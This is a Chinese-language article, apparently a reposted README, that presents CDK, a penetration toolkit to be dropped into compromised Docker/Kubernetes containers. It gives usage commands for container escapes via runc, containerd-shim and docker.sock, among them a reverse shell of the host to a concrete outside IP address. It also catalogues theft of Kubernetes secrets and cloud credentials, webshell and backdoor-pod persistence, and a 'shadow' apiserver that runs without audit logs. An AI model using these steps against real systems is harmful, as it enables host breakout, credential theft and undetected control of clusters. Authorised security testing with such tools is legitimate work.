CDK

png

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

场景介绍

伴随着容器技术的快速发展,容器安全问题也逐渐成为企业所关注的话题。针对容器场景的渗透测试一方面要求攻击者理解对Docker/K8s以及云服务的原理、特性以及漏洞利用方式;另一方面,攻击者通过业务漏洞(如WEB RCE)攻入容器后往往面对的是一个缩减后的容器环境,缺乏常用的linux命令依赖导致渗透效率不佳。

CDK为安全测试人员提供了golang原生的容器环境渗透能力,主要有以下几点:

  • 评估容器内部弱点、搜集敏感信息。

  • 提供多种容器逃逸的漏洞利用方式。

  • 提供K8s环境的多种持久化、横向移动方式。

  • 提供原生的进程、网络命令,便于测试者自定义攻击操作。

功能

CDK包括三个功能模块

  • Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。

  • Exploit: 提供容器逃逸、持久化、横向移动等利用方式。

  • Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。

Evaluate 模块

用于本地信息收集,寻找可用的逃逸点,使用--full参数时会包含本地文件扫描。

类别 检测点 已支持 详细文档
本地信息收集 OS基本信息 link
本地信息收集 可用的Capabilities link
本地信息收集 可用的Linux命令 link
本地信息收集 挂载情况 link
本地信息收集 网络namespace隔离情况 link
本地信息收集 环境变量 link
本地信息收集 敏感服务 link
本地信息收集 敏感目录及文件 link
本地信息收集 kube-proxy边界绕过(CVE-2020-8558)
网络探测 K8s Api-server信息 link
网络探测 K8s Service-account信息 link
网络探测 云厂商Metadata API link

Exploit 模块

执行指定的exp。

类别 功能 调用名 已支持 文档
容器逃逸 docker-runc CVE-2019-5736 runc-pwn
容器逃逸 containerd-shim CVE-2020-15257 shim-pwn link
容器逃逸 docker.sock逃逸PoC(docker-in-docker) docker-sock-check link
容器逃逸 docker.sock部署恶意镜像 docker-sock-deploy link
容器逃逸 挂载逃逸(特权容器) mount-disk link
容器逃逸 Cgroup逃逸(特权容器) mount-cgroup link
容器逃逸 Procfs目录挂载逃逸 mount-procfs link
容器逃逸 Ptrace逃逸PoC check-ptrace link
网络探测 K8s组件探测 service-probe link
信息收集 检查和获取Istio元信息 istio-check link
远程控制 反弹shell reverse-shell link
信息窃取 扫描AK及API认证凭据 ak-leakage link
信息窃取 窃取K8s Secrets k8s-secret-dump link
信息窃取 窃取K8s Config k8s-configmap-dump link
持久化 部署WebShell webshell-deploy link
持久化 部署后门Pod k8s-backdoor-daemonset link
持久化 部署影子K8s api-server k8s-shadow-apiserver link
持久化 K8s MITM攻击(CVE-2020-8554) k8s-mitm-clusterip link
持久化 部署K8s CronJob k8s-cronjob link

Tool 模块

还原部分常用的Linux命令,解决容器环境缩减的问题。

子命令 描述 已支持 文档
nc TCP隧道 link
ps 获取进程信息 link
ifconfig 获取网络信息 link
vi 文本编辑 link
kcurl 发包到K8s api-server link
ucurl 发包到Docker Unix Socket link
probe IP/端口扫描 link

使用方法

下载可执行文件投递到已攻入的容器内部开始测试:

  • https://github.com/cdk-team/CDK/releases/

命令行参数:

Container DucK
Zero-dependency docker/k8s penetration toolkit by <i@cdxy.me>
Find tutorial, configuration and use-case in https://github.com/Xyntax/CDK/wiki

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weekness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/Xyntax/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl	(get|post) <url> <data>             Make request to K8s api-server.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version. 

工具演示

评估容器弱点

cdk evaluate --full 

png

containerd-shim(CVE-2020-15257)漏洞逃逸

通过共享的net namespace向宿主机的containerd-shim进程发起请求,利用其特性反弹宿主机的shell到远端服务器。

./cdk run shim-pwn 47.104.151.168 111 

docker.sock漏洞逃逸

通过本地docker.sock向控制宿主机的docker进程,拉取指定的后门镜像并运行,运行过程中镜像将宿主机的根目录/挂载到容器内部的/host目录下,便于通过后门容器修改宿主机本地文件(如crontab)来完成逃逸。

# deploy image from dockerhub
./cdk run docker-sock-deploy /var/run/docker.sock alpine:latest

# deploy image from user image registry
./cdk run docker-sock-deploy registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd 

g

部署K8s shadow apiserver

向K8s集群中部署一个shadow apiserver,该apiserver具有和集群中现存的apiserver一致的功能,同时开启了全部K8s管理权限,接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。

./cdk run k8s-shadow-apiserver default 

png

项目地址

  • https://github.com/cdk-team/CDK/

本文作者:cdxy, 转自FreeBuf